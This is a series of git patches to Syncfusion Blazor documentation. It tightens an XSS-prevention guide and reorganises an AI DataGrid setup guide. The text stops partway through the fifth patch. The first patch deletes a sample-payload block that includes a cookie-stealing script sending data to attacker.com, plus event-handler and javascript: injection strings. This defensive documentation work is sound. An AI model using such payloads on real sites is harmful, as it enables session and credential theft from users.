From a911f95771cb1a8fb2a0dcaaeae290e8bba5137a Mon Sep 17 00:00:00 2001
From: VaseegaranSF4468 <162665726+VaseegaranSF4468@users.noreply.github.com>
Date: Wed, 6 May 2026 19:53:17 +0530
Subject: [PATCH 1/6] 1013927: Updated the Cross-Site Scripting UG
 documentation

---
 .../cross-site-scripting-prevention.md        | 106 ++++++------------
 1 file changed, 36 insertions(+), 70 deletions(-)

diff --git a/blazor/common/security/cross-site-scripting-prevention.md b/blazor/common/security/cross-site-scripting-prevention.md
index 37e08dd42f..508d9e8371 100644
--- a/blazor/common/security/cross-site-scripting-prevention.md
+++ b/blazor/common/security/cross-site-scripting-prevention.md
@@ -11,69 +11,35 @@ documentation: ug
 
 ## Overview
 
-[Cross-Site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) is one of the most common security problems in web applications. This guide explains how to protect [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components](https://www.syncfusion.com/blazor-components) from XSS attacks. It covers built-in client-side sanitization, server-side validation, and safe usage guidelines for components that handle user‑generated content.
+[Cross-Site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) is one of the most common security vulnerabilities in web applications. It occurs when attackers inject malicious scripts or markup into an application, causing untrusted content to execute in the user’s browser with the same privileges as the application.
 
-## What is Cross-Site Scripting (XSS)?
-
-XSS is a vulnerability where attackers insert harmful code into your application, causing it to run in the user’s browser with the same access level as your app. This can result in:
-
-- **Session hijacking** - Stealing authentication tokens or cookies
-- **Data theft** - Accessing sensitive user information
-- **Malware distribution** - Redirecting users to malicious sites
-- **UI manipulation** - Altering what users see on the screen
-- **Credential theft** - Capturing information entered into forms, such as usernames or passwords
+This guide explains how to protect [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components](https://www.syncfusion.com/blazor-components) from XSS attacks. It covers built-in client-side sanitization, required server-side validation, and safe usage guidelines for components that handle user-generated content.
 
 ### Types of XSS attacks
 
-1. **Stored XSS** - The attacker injects malicious code through user input (e.g., a form field) which is then stored in your database. The code executes whenever another user loads the affected page. This is the most dangerous type.
-2. **Reflected XSS** - The harmful script is delivered through a URL or form input and is immediately sent back in the response, causing it to execute in the user’s browser.
-3. **DOM-based XSS** - Client-side scripts read unsafe data and write it directly into the page.
+1. **Stored XSS** – Malicious scripts are saved in the application and executed in the user’s browser when the content is loaded.
+2. **Reflected XSS** – Malicious input is returned in the server response and executed in the browser.
+3. **DOM-based XSS** – Client-side scripts read untrusted data and write it directly into the page.
 
 ## Why XSS matters in Blazor applications?
 
-Blazor Server and Blazor WebAssembly come with different types of XSS risks.
+Blazor Server and Blazor WebAssembly have different XSS risks due to their execution models.
 
 ### Blazor Server
 
-- All logic runs on the server, so validation is easier, but XSS can still happen if unsafe content is displayed.
-- If an XSS attack happens, an attacker could potentially take control of the SignalR connection that Blazor depends on.
-- The user's session state and backend resources could be compromised.
+- XSS can occur if unsafe content is rendered without proper sanitization.
+- A successful XSS attack could potentially interfere with the SignalR connection used by Blazor Server.
+- User session state and backend resources may be exposed or misused.
 
 ### Blazor WebAssembly
 
-- The application runs entirely in the user's browser. Injected scripts execute locally and can modify the user interface or hijack user sessions.
-- Client-side files and application logic are publicly available. This makes it easier for attackers to inspect or bypass client-side protections.
-- Never store secrets or other sensitive data in the browser. Protect API endpoints with server-side authentication and authorization.
-- Client-side validation and sanitization improve the user experience but are not a substitute for server-side validation and sanitization. Always validate and sanitize all client-origin data on the server.
+- The application runs entirely in the user’s browser, so injected scripts execute locally and can manipulate the UI or access user data.
+- Client-side code and files are publicly accessible, making client-only protections easier to inspect or bypass.
+- Relying only on client-side validation and sanitization increases XSS risk, as attackers can bypass these mechanisms and allow malicious payloads to reach backend services when server-side validation is missing.
 
 ## XSS threat model and attack vectors
 
-### Common attack vectors
-
-XSS can enter an application in many different ways. The most common source is user input, such as comments, chat messages, or any data that users type into forms. Data received from APIs, uploaded files, or text copied from other websites can also contain harmful scripts. Even information already stored in the database may be unsafe if it was not validated or sanitized before being saved.
-
-### Example attack payloads
-
-{% tabs %}
-{% highlight html %}
-
-<!-- Script injection -->
-<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
-
-<!-- Event handler injection -->
-<img src="x" onerror="alert('XSS')" />
-
-<!-- SVG-based attack -->
-<svg onload="alert('XSS')"></svg>
-
-<!-- Data attribute abuse -->
-<div data-bind="innerHTML: maliciousContent"></div>
-
-<!-- JavaScript protocol -->
-<a href="javascript:void(document.cookie='stolen')">Click here</a>
-
-{% endhighlight %}
-{% endtabs %}
+XSS vulnerabilities can be introduced through user input, API responses, uploaded files, copied content, or stored database values that are not properly validated or sanitized.
 
 ## How to prevent XSS attacks?
 
@@ -109,7 +75,7 @@ Use `@userInput` whenever you want to safely display text on the page. Only use
 
 ### 2. Input validation
 
-Validating user input as soon as it is received helps prevent harmful content, such as `<script>` tags, from being stored or sent to other users. This acts as an early safety check and helps stop harmful data before it reaches deeper parts of your application.
+Validating user input as soon as it is received helps prevent harmful content, such as `<script>` tags, from being stored or shared with other users. This early safety check helps stop malicious data before it reaches deeper parts of your application.
 
 Follow these practices when validating input.
 
@@ -156,25 +122,25 @@ public sealed class SafeContentAttribute : ValidationAttribute
 
 ### 3. HTML sanitization
 
-If your app allows users to enter rich HTML, such as through a rich text editor, you must sanitize it. Sanitization removes harmful or unsafe HTML while keeping safe formatting tags like `<p>`, `<b>`, and `<br>`.
+If your app allows users to enter rich HTML, such as through a rich text editor, you must sanitize it. Sanitization removes harmful or unsafe HTML while preserving safe formatting tags like `<p>`, `<b>`, and `<br>`.
 
 Only the HTML tags you explicitly allow are kept. Always sanitize content before saving it to the database and again before displaying it. This defense-in-depth approach applies to all content, including data from external sources.
 
 #### Built-in sanitization in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components
 
-The [EnableHtmlSanitizer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_EnableHtmlSanitizer) property is available in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor **[RichTextEditor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor)** and **[BlockEditor](https://www.syncfusion.com/blazor-components/blazor-block-editor)** components. It provides built-in client-side XSS protection.
+The [EnableHtmlSanitizer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.BlockEditor.SfBlockEditor.html#Syncfusion_Blazor_BlockEditor_SfBlockEditor_EnableHtmlSanitizer) property is available in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor **[BlockEditor](https://www.syncfusion.com/blazor-components/blazor-block-editor)**, **[File Manager](https://www.syncfusion.com/blazor-components/blazor-file-manager)**, and **[RichTextEditor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor)** components. It provides built-in client-side XSS protection.
 
 #### How EnableHtmlSanitizer works?
 
 When `EnableHtmlSanitizer` is enabled (it is `true` by default), the sanitizer does the following:
 
-1. Removes `<script>` tags and their content
-2. Removes event handler attributes such as `onclick`, `onerror`, and `onload`
-3. Blocks unsafe protocols such as `javascript:` and `data:`
-4. Neutralizes other potentially dangerous HTML elements
-5. Preserves safe formatting tags (`<p>`, `<b>`, `<i>`, `<ul>`, etc.)
+1. Removes `<script>` tags and their content.
+2. Removes event handler attributes such as `onclick`, `onerror`, and `onload`.
+3. Blocks unsafe protocols such as `javascript:` and `data:`.
+4. Neutralizes other potentially dangerous HTML elements.
+5. Preserves safe formatting tags (`<p>`, `<b>`, `<i>`, `<ul>`, etc.).
 
-> **Important:** Client-side sanitization alone cannot keep your application fully secure. The `EnableHtmlSanitizer` feature helps with basic cleanup and improves safety, but you still need server-side sanitization to properly protect your application.
+N> Client-side sanitization alone cannot fully secure your application. The `EnableHtmlSanitizer` property helps with basic HTML cleanup and improves safety, but server-side sanitization is still required to properly protect your application.
 
 #### Why client-side sanitization is not enough?
 
@@ -185,14 +151,14 @@ When `EnableHtmlSanitizer` is enabled (it is `true` by default), the sanitizer d
 
 #### When to use EnableHtmlSanitizer?
 
-- To catch accidental HTML and improve the user experience
-- To provide an extra layer of defense on top of server-side sanitization
-- To give immediate feedback without waiting for a server round trip
+- To catch accidental HTML and improve the user experience.
+- To provide an extra layer of defense on top of server-side sanitization.
+- To give immediate feedback without waiting for a server round trip.
 
 #### When not to use EnableHtmlSanitizer?
 
-- As the only security mechanism in your app
-- As a replacement for server-side sanitization
+- As the only security mechanism in your app.
+- As a replacement for server-side sanitization.
 
 #### BlockEditor with EnableHtmlSanitizer
 
@@ -244,19 +210,19 @@ When `EnableHtmlSanitizer` is enabled (it is `true` by default), the sanitizer d
 
 ### Safe HTML rendering in data components
 
-Components that display user-generated or database content, such as **[DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** and **[ListView](https://www.syncfusion.com/blazor-components/blazor-listview)**, follow the same rule: only render HTML that has been sanitized on the server, or display plain text which Blazor encodes automatically.
+Components that display user-generated or database content, such as **[DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** and **[ListView](https://www.syncfusion.com/blazor-components/blazor-listview)**, should follow the same security approach. HTML content must be rendered only after it has been sanitized on the server, while plain text can be displayed safely using Blazor’s built‑in automatic encoding.
 
 #### Rendering user content safely
 
 Templates allow you to customize how data is displayed by controlling the HTML structure and content presentation within components. When rendering user-generated content in templates, apply the encoding and sanitization principles covered earlier.
 
-The examples below demonstrate three approaches: unsafe direct rendering (which should always be avoided), safe rendering of pre-sanitized HTML, and secure plain text display with automatic encoding.
+The following examples demonstrate recommended practices for displaying user content securely. They show how improper handling can lead to security risks and how using sanitized HTML or safely encoded plain text ensures content is rendered securely without exposing the application to XSS vulnerabilities.
 
 #### UNSAFE - Direct HTML rendering
 
 The example below shows a scenario that should never be used. It renders raw HTML from the data source using `MarkupString`, which bypasses Blazor’s HTML encoding.
 
-If the content includes malicious scripts, it can lead to **XSS (Cross‑Site Scripting)** attacks.
+If the content includes malicious scripts, it can lead to XSS attacks.
 
 {% tabs %}
 {% highlight razor %}
@@ -294,9 +260,9 @@ If the content includes malicious scripts, it can lead to **XSS (Cross‑Site Sc
 
 #### SAFE – Sanitized MarkupString (pre-sanitized data)
 
-When HTML content is sanitized on the server or during data preparation and stored in a dedicated property, rendering it with `MarkupString` is acceptable. 
+When HTML content is sanitized on the server or during data preparation and stored in a dedicated property, rendering it with `MarkupString` is acceptable.
 
-The example below uses a SanitizedContent property that contains only trusted, pre‑sanitized HTML. Cast to MarkupString only when you can guarantee the content has been properly sanitized and comes from a trusted source.
+The example below uses a `SanitizedContent` property that contains only trusted, pre‑sanitized HTML. Cast to `MarkupString` only when you can guarantee the content has been properly sanitized and comes from a trusted source.
 
 {% tabs %}
 {% highlight razor %}
@@ -443,7 +409,7 @@ The following example conditionally renders content based on whether the message
 
 ## Server-side sanitization (authoritative)
 
-Server-side sanitization is the **authoritative and required** defense against XSS attacks. While client‑side sanitization (such as the RichTextEditor’s built‑in HTML sanitizer) provides an extra layer of safety, only server-side validation can be fully trusted. All user-generated HTML should be sanitized on the server before saving it to the database and again when retrieving it.
+Server-side sanitization is the **authoritative and required** defense against XSS attacks. While client-side sanitization, such as the **RichTextEditor built‑in HTML sanitizer**, adds an extra layer of protection, only server-side validation can be fully trusted. All user-generated HTML must be sanitized on the server before it is saved to the database and again when it is retrieved for display.
 
 ### Built-in .NET sanitization support
 
@@ -457,7 +423,7 @@ Server-side sanitization is the **authoritative and required** defense against X
 
 ### Server-side sanitization example
 
-The following example demonstrates how to sanitize user‑entered HTML submitted from the Syncfusion Blazor **RichTextEditor** component. The sanitization process removes script tags, script content, disallowed HTML, inline event handlers, and unsafe URL protocols.
+The following example demonstrates server-side sanitization of user‑entered HTML submitted from the Syncfusion Blazor **RichTextEditor** component. The sanitization process removes script tags, embedded script content, disallowed HTML elements, inline event handler attributes, and unsafe URL protocols before the content is processed or stored.
 
 {% tabs %}
 {% highlight c# tabtitle="~/Services/HtmlSanitizerService.cs"  %}
@@ -514,7 +480,7 @@ public class HtmlSanitizerService
                 if (name.StartsWith("on", StringComparison.OrdinalIgnoreCase))
                     continue;
 
-                // Note: Keep href/src handling for future <a>/<img> support; it blocks unsafe protocols like javascript: and data:.
+                // Note: Keep href/src handling for future <a>/<img> support because it blocks unsafe protocols such as javascript: and data:
                 if (name.Equals("href", StringComparison.OrdinalIgnoreCase) ||
                     name.Equals("src", StringComparison.OrdinalIgnoreCase))
                 {
@@ -620,4 +586,4 @@ builder.Services.AddSyncfusionBlazor();
 ## See also
 
 * [Cross-site scripting (XSS) prevention in Block Editor](https://blazor.syncfusion.com/documentation/block-editor/editor-security/cross-site-script)
- 
\ No newline at end of file
+* [Content Security Policy in Syncfusion Blazor components](https://blazor.syncfusion.com/documentation/common/content-security-policy)
\ No newline at end of file

From 3a246845dc1cc2589a4c1821e99fbae04347fbf4 Mon Sep 17 00:00:00 2001
From: VaseegaranSF4468 <162665726+VaseegaranSF4468@users.noreply.github.com>
Date: Thu, 7 May 2026 11:19:13 +0530
Subject: [PATCH 2/6] 1013927: Updated the content

---
 .../cross-site-scripting-prevention.md        | 30 ++-----------------
 1 file changed, 2 insertions(+), 28 deletions(-)

diff --git a/blazor/common/security/cross-site-scripting-prevention.md b/blazor/common/security/cross-site-scripting-prevention.md
index 508d9e8371..299900ed59 100644
--- a/blazor/common/security/cross-site-scripting-prevention.md
+++ b/blazor/common/security/cross-site-scripting-prevention.md
@@ -15,32 +15,6 @@ documentation: ug
 
 This guide explains how to protect [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components](https://www.syncfusion.com/blazor-components) from XSS attacks. It covers built-in client-side sanitization, required server-side validation, and safe usage guidelines for components that handle user-generated content.
 
-### Types of XSS attacks
-
-1. **Stored XSS** – Malicious scripts are saved in the application and executed in the user’s browser when the content is loaded.
-2. **Reflected XSS** – Malicious input is returned in the server response and executed in the browser.
-3. **DOM-based XSS** – Client-side scripts read untrusted data and write it directly into the page.
-
-## Why XSS matters in Blazor applications?
-
-Blazor Server and Blazor WebAssembly have different XSS risks due to their execution models.
-
-### Blazor Server
-
-- XSS can occur if unsafe content is rendered without proper sanitization.
-- A successful XSS attack could potentially interfere with the SignalR connection used by Blazor Server.
-- User session state and backend resources may be exposed or misused.
-
-### Blazor WebAssembly
-
-- The application runs entirely in the user’s browser, so injected scripts execute locally and can manipulate the UI or access user data.
-- Client-side code and files are publicly accessible, making client-only protections easier to inspect or bypass.
-- Relying only on client-side validation and sanitization increases XSS risk, as attackers can bypass these mechanisms and allow malicious payloads to reach backend services when server-side validation is missing.
-
-## XSS threat model and attack vectors
-
-XSS vulnerabilities can be introduced through user input, API responses, uploaded files, copied content, or stored database values that are not properly validated or sanitized.
-
 ## How to prevent XSS attacks?
 
 Protecting your application from XSS requires using several layers of defense.
@@ -122,9 +96,9 @@ public sealed class SafeContentAttribute : ValidationAttribute
 
 ### 3. HTML sanitization
 
-If your app allows users to enter rich HTML, such as through a rich text editor, you must sanitize it. Sanitization removes harmful or unsafe HTML while preserving safe formatting tags like `<p>`, `<b>`, and `<br>`.
+HTML sanitization is required when an application allows rich HTML content to be submitted, such as through a rich text editor. Sanitization removes unsafe elements and attributes while preserving a limited set of explicitly allowed formatting tags (for example, `<p>`, `<b>`, `<br>`). Any tag or attribute not in the allowlist is removed to prevent script execution. 
 
-Only the HTML tags you explicitly allow are kept. Always sanitize content before saving it to the database and again before displaying it. This defense-in-depth approach applies to all content, including data from external sources.
+Sanitize all HTML before storing it in the database and again before rendering it. This defense‑in‑depth approach ensures consistent protection even if rendering logic, usage scenarios, or content sources change, and it applies equally to application input and external data sources.
 
 #### Built-in sanitization in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components
 

From 2ddaba90b0fd6e98d9d7f8133b0a946329b69eb0 Mon Sep 17 00:00:00 2001
From: VaseegaranSF4468 <162665726+VaseegaranSF4468@users.noreply.github.com>
Date: Thu, 7 May 2026 13:45:42 +0530
Subject: [PATCH 3/6] 1013927: Updated the spell error word

---
 blazor/common/security/cross-site-scripting-prevention.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/blazor/common/security/cross-site-scripting-prevention.md b/blazor/common/security/cross-site-scripting-prevention.md
index 299900ed59..f6eade746b 100644
--- a/blazor/common/security/cross-site-scripting-prevention.md
+++ b/blazor/common/security/cross-site-scripting-prevention.md
@@ -96,7 +96,7 @@ public sealed class SafeContentAttribute : ValidationAttribute
 
 ### 3. HTML sanitization
 
-HTML sanitization is required when an application allows rich HTML content to be submitted, such as through a rich text editor. Sanitization removes unsafe elements and attributes while preserving a limited set of explicitly allowed formatting tags (for example, `<p>`, `<b>`, `<br>`). Any tag or attribute not in the allowlist is removed to prevent script execution. 
+HTML sanitization is required when an application allows rich HTML content to be submitted, such as through a rich text editor. Sanitization removes unsafe elements and attributes while preserving a limited set of explicitly allowed formatting tags (for example, `<p>`, `<b>`, `<br>`). Any tag or attribute not in the allow list is removed to prevent script execution. 
 
 Sanitize all HTML before storing it in the database and again before rendering it. This defense‑in‑depth approach ensures consistent protection even if rendering logic, usage scenarios, or content sources change, and it applies equally to application input and external data sources.
 

From 91d5605552a47037a7ef8183c1ba590911aead4b Mon Sep 17 00:00:00 2001
From: VaseegaranSF4468 <162665726+VaseegaranSF4468@users.noreply.github.com>
Date: Fri, 8 May 2026 20:43:47 +0530
Subject: [PATCH 4/6] 1013927: Updated the AI powered DataGrid solution UG
 documentation

---
 .../datagrid/ai-powered-datagrid.md           | 82 +++++++++----------
 1 file changed, 38 insertions(+), 44 deletions(-)

diff --git a/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md b/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
index 61dae52c56..2d88a24534 100644
--- a/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
+++ b/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
@@ -1,7 +1,7 @@
 ---
 layout: post
 title: Generate AI insights with Blazor DataGrid and AI models | Syncfusion
-description: Learn how to use Syncfusion Blazor DataGrid with Azure OpenAI, or Ollama to analyze sales orders, generate AI insights, and highlight flagged records.
+description: Learn how to use Syncfusion Blazor DataGrid with Azure OpenAI or Ollama to analyze sales orders, generate AI insights, and highlight flagged records.
 platform: Blazor
 control: AI Integration
 documentation: ug
@@ -10,13 +10,13 @@ keywords: Blazor DataGrid, AI insights, sales order analysis, Syncfusion Blazor
 
 # Generate AI insights with Blazor DataGrid and AI models
 
-This guide demonstrates how to use the [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI) package to analyze sales order data and generate AI-powered business insights in a **[Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** component. The [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI) package enables seamless integration with AI models to process and summarize data, while Azure OpenAI or Ollama can be used to generate structured, JSON‑based insights such as an executive summary, key trends, recommendations, and flagged order IDs. In the following example, the application analyzes sales orders, highlights flagged records, and presents actionable business insights.
+This guide demonstrates how to use the [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI) package to analyze sales order data and generate AI-powered business insights in the **[Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** component. The [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI) package enables seamless integration with AI models to process and summarize data, while Azure OpenAI or Ollama can be used to generate structured, JSON‑based insights such as an executive summary, key trends, recommendations, and flagged order IDs. In the following example, the application analyzes sales orders, highlights flagged records, and presents actionable business insights.
 
 If you have not created a Blazor application yet, refer to the [Blazor getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) to create a project.
 
 ## Prerequisites
 
-Ensure that the required NuGet packages are installed based on the AI service you choose.
+Install the required Syncfusion and AI service NuGet packages based on the selected AI service.
 
 ### For Azure OpenAI
 
@@ -24,14 +24,31 @@ Ensure that the required NuGet packages are installed based on the AI service yo
 - [Microsoft.Extensions.AI.OpenAI](https://www.nuget.org/packages/Microsoft.Extensions.AI.OpenAI)
 - [Azure.AI.OpenAI](https://www.nuget.org/packages/Azure.AI.OpenAI)
 
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Microsoft.Extensions.AI
+Install-Package Microsoft.Extensions.AI.OpenAI
+Install-Package Azure.AI.OpenAI
+
+{% endhighlight %}
+{% endtabs %}
+
 ### For Ollama
 
 - [Microsoft.Extensions.AI](https://www.nuget.org/packages/Microsoft.Extensions.AI)
 - [OllamaSharp](https://www.nuget.org/packages/OllamaSharp)
 
-### Syncfusion packages
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
 
-In addition to the AI-related packages, the following Syncfusion packages are required to render the Blazor DataGrid and apply themes.
+Install-Package Microsoft.Extensions.AI
+Install-Package OllamaSharp
+
+{% endhighlight %}
+{% endtabs %}
+
+### Syncfusion packages
 
 - [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid/)
 - [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
@@ -43,10 +60,6 @@ In addition to the AI-related packages, the following Syncfusion packages are re
 Install-Package Syncfusion.Blazor.Grid -Version {{ site.releaseversion }}
 Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 Install-Package Syncfusion.Blazor.AI -Version {{ site.releaseversion }}
-Install-Package Microsoft.Extensions.AI
-Install-Package Microsoft.Extensions.AI.OpenAI  # For Azure OpenAI
-Install-Package Azure.AI.OpenAI  # For Azure OpenAI
-Install-Package OllamaSharp  # For Ollama
 
 {% endhighlight %}
 {% endtabs %}
@@ -62,9 +75,14 @@ Include the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor theme styles
 {% highlight html tabtitle="App.razor" %}
 
 <head>
+    ....
+    <!-- Syncfusion theme stylesheet -->
     <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
 </head>
+
 <body>
+    ....
+    <!-- Syncfusion Blazor core script (required for most components, including DataGrid) -->
     <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 </body>
 
@@ -75,7 +93,7 @@ N> Explore the [Blazor Themes](https://blazor.syncfusion.com/documentation/appea
 
 ## Configure AI service
 
-Choose one of the following AI services (Azure OpenAI or Ollama) based on requirements:
+Choose one of the following AI services based on your requirements:
 - **Azure OpenAI**: Enterprise-grade deployment with enhanced security and scalability.
 - **Ollama**: Self-hosted, privacy-focused AI models.
 
@@ -85,19 +103,7 @@ Follow the instructions for the selected service to register the AI model in the
 
 Deploy an Azure OpenAI Service resource and model as described in [Microsoft's documentation](https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/create-resource). Obtain values for `azureOpenAIKey`, `azureOpenAIEndpoint`, and `azureOpenAIModel`.
 
-- Install the required NuGet packages:
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Microsoft.Extensions.AI
-Install-Package Microsoft.Extensions.AI.OpenAI
-Install-Package Azure.AI.OpenAI
-
-{% endhighlight %}
-{% endtabs %}
-
-- Add the following to the **~/Program.cs** file in the Blazor Web App:
+Add the following to the **~/Program.cs** file in the Blazor Web App.
 
 {% tabs %}
 {% highlight C# tabtitle="Program.cs" hl_lines="8 9 10 11 12 13 14" %}
@@ -129,22 +135,11 @@ var app = builder.Build();
 
 To use Ollama for self-hosted AI models:
 
-1. **Download and install Ollama**: Visit [Ollama's official website](https://ollama.com) and install the application for the operating system.
+1. **Download and install Ollama**: Visit [Ollama's official website](https://ollama.com) and install the application for your operating system.
 2. **Install a model**: Choose a model from the [Ollama Library](https://ollama.com/library) (for example, `llama2:13b`, `mistral:7b`).
-3. **Configure the application**: Provide the `Endpoint` URL (for example, `http://localhost:11434`) and `ModelName` (for example, `llama2:13b`).
+3. **Configure the application**: Provide the `Endpoint` URL (for example, `http://localhost:11434`) and `modelName` (for example, `llama2:13b`).
 
-- Install the required NuGet packages:
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Microsoft.Extensions.AI
-Install-Package OllamaSharp
-
-{% endhighlight %}
-{% endtabs %}
-
-- Add the following to the **~/Program.cs** file in the Blazor Web App:
+Add the following to the **~/Program.cs** file in the Blazor Web App.
 
 {% tabs %}
 {% highlight C# tabtitle="Program.cs" hl_lines="7 8 9 10" %}
@@ -155,8 +150,8 @@ using OllamaSharp;
 
 var builder = WebApplication.CreateBuilder(args);
 
-string ModelName = "MODEL_NAME";
-IChatClient chatClient = new OllamaApiClient("http://localhost:11434", ModelName);
+string modelName = "MODEL_NAME";
+IChatClient chatClient = new OllamaApiClient("http://localhost:11434", modelName);
 builder.Services.AddChatClient(chatClient);
 builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
 
@@ -165,7 +160,7 @@ var app = builder.Build();
 {% endhighlight %}
 {% endtabs %}
 
-- **Verify connectivity**: Ensure the Ollama server is running and accessible at the specified endpoint (for example, `http://localhost:11434`) before starting the application.
+N> Ensure the Ollama server is running and accessible at the specified endpoint (for example, `http://localhost:11434`) before starting the application.
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
@@ -241,7 +236,7 @@ The sample loads sales order data in `Home.razor.cs` and sends it to the AI serv
   - `recommendations`
   - `flaggedOrderIds`
 - **Response handling**: The returned text is cleaned, deserialized, and stored in the `AiInsights` model.
-- **Row highlighting**: The `OnQueryCellInfo` event checks each row’s `OrderId` and applies a highlight style to the flagged records.
+- **Row highlighting**: The `OnQueryCellInfo` event checks each row's `OrderId` and applies a highlight style to the flagged records.
 - **Insight display**: The summary, trends, and recommendations are displayed below the grid, and any errors are shown if the AI request fails.
 
 {% tabs %}
@@ -487,9 +482,9 @@ public partial class Home
 If the AI service fails to return a valid response, the Blazor DataGrid displays an appropriate error message to inform the user. To ensure reliability and a smooth user experience, consider handling the following common scenarios:
 
 - **Invalid configuration**: Ensure the API key, endpoint, and model name are valid and accessible.
-- **Model unavailable**: Ensure the specified `azureOpenAIModel` or `ModelName` is deployed and supported.
+- **Model unavailable**: Ensure the specified `azureOpenAIModel` or `modelName` is deployed and supported.
 - **Network or service issues**: Verify connectivity to the AI service, including self‑hosted endpoints.
-- **Timeouts and large datasets**: Large requests may cause delays or timeouts; consider batching data or optimizing prompts.
+- **Timeouts and large datasets**: Large requests may cause delays or timeouts, so consider batching data or optimizing prompts.
 - **Invalid AI responses**: Validate AI output before applying results to the DataGrid.
 - **Rate limits**: Handle throttling gracefully by retrying or informing the user.
 - **Fallback behavior**: Allow the DataGrid to continue displaying data if AI processing fails.
@@ -501,4 +496,3 @@ N> In addition to standard errors, applications should **validate AI responses**
 When handling large datasets, ensure the Ollama server has sufficient resources (CPU/GPU) to process requests efficiently. For datasets exceeding 10,000 records, consider splitting the data into smaller batches to avoid performance bottlenecks. Test the application with your specific dataset to determine optimal performance.
 
 ![AI-powered DataGrid in Blazor](../images/ai-powered-blazor-datagrid.webp)
-

From 1543e7c51cdc7278f8163d5ac42cb15694115550 Mon Sep 17 00:00:00 2001
From: VaseegaranSF4468 <162665726+VaseegaranSF4468@users.noreply.github.com>
Date: Fri, 8 May 2026 20:45:14 +0530
Subject: [PATCH 5/6] 1013927: Removed the AI solution

---
 .../datagrid/ai-powered-datagrid.md           | 144 +++++++++---------
 1 file changed, 72 insertions(+), 72 deletions(-)

diff --git a/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md b/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
index 2d88a24534..8c1854b584 100644
--- a/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
+++ b/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
@@ -1,7 +1,7 @@
 ---
 layout: post
 title: Generate AI insights with Blazor DataGrid and AI models | Syncfusion
-description: Learn how to use Syncfusion Blazor DataGrid with Azure OpenAI or Ollama to analyze sales orders, generate AI insights, and highlight flagged records.
+description: Learn how to use Syncfusion Blazor DataGrid with Azure OpenAI, or Ollama to analyze sales orders, generate AI insights, and highlight flagged records.
 platform: Blazor
 control: AI Integration
 documentation: ug
@@ -10,13 +10,13 @@ keywords: Blazor DataGrid, AI insights, sales order analysis, Syncfusion Blazor
 
 # Generate AI insights with Blazor DataGrid and AI models
 
-This guide demonstrates how to use the [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI) package to analyze sales order data and generate AI-powered business insights in the **[Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** component. The [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI) package enables seamless integration with AI models to process and summarize data, while Azure OpenAI or Ollama can be used to generate structured, JSON‑based insights such as an executive summary, key trends, recommendations, and flagged order IDs. In the following example, the application analyzes sales orders, highlights flagged records, and presents actionable business insights.
+This guide demonstrates how to use the [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI) package to analyze sales order data and generate AI-powered business insights in a **[Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** component. The [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI) package enables seamless integration with AI models to process and summarize data, while Azure OpenAI or Ollama can be used to generate structured, JSON‑based insights such as an executive summary, key trends, recommendations, and flagged order IDs. In the following example, the application analyzes sales orders, highlights flagged records, and presents actionable business insights.
 
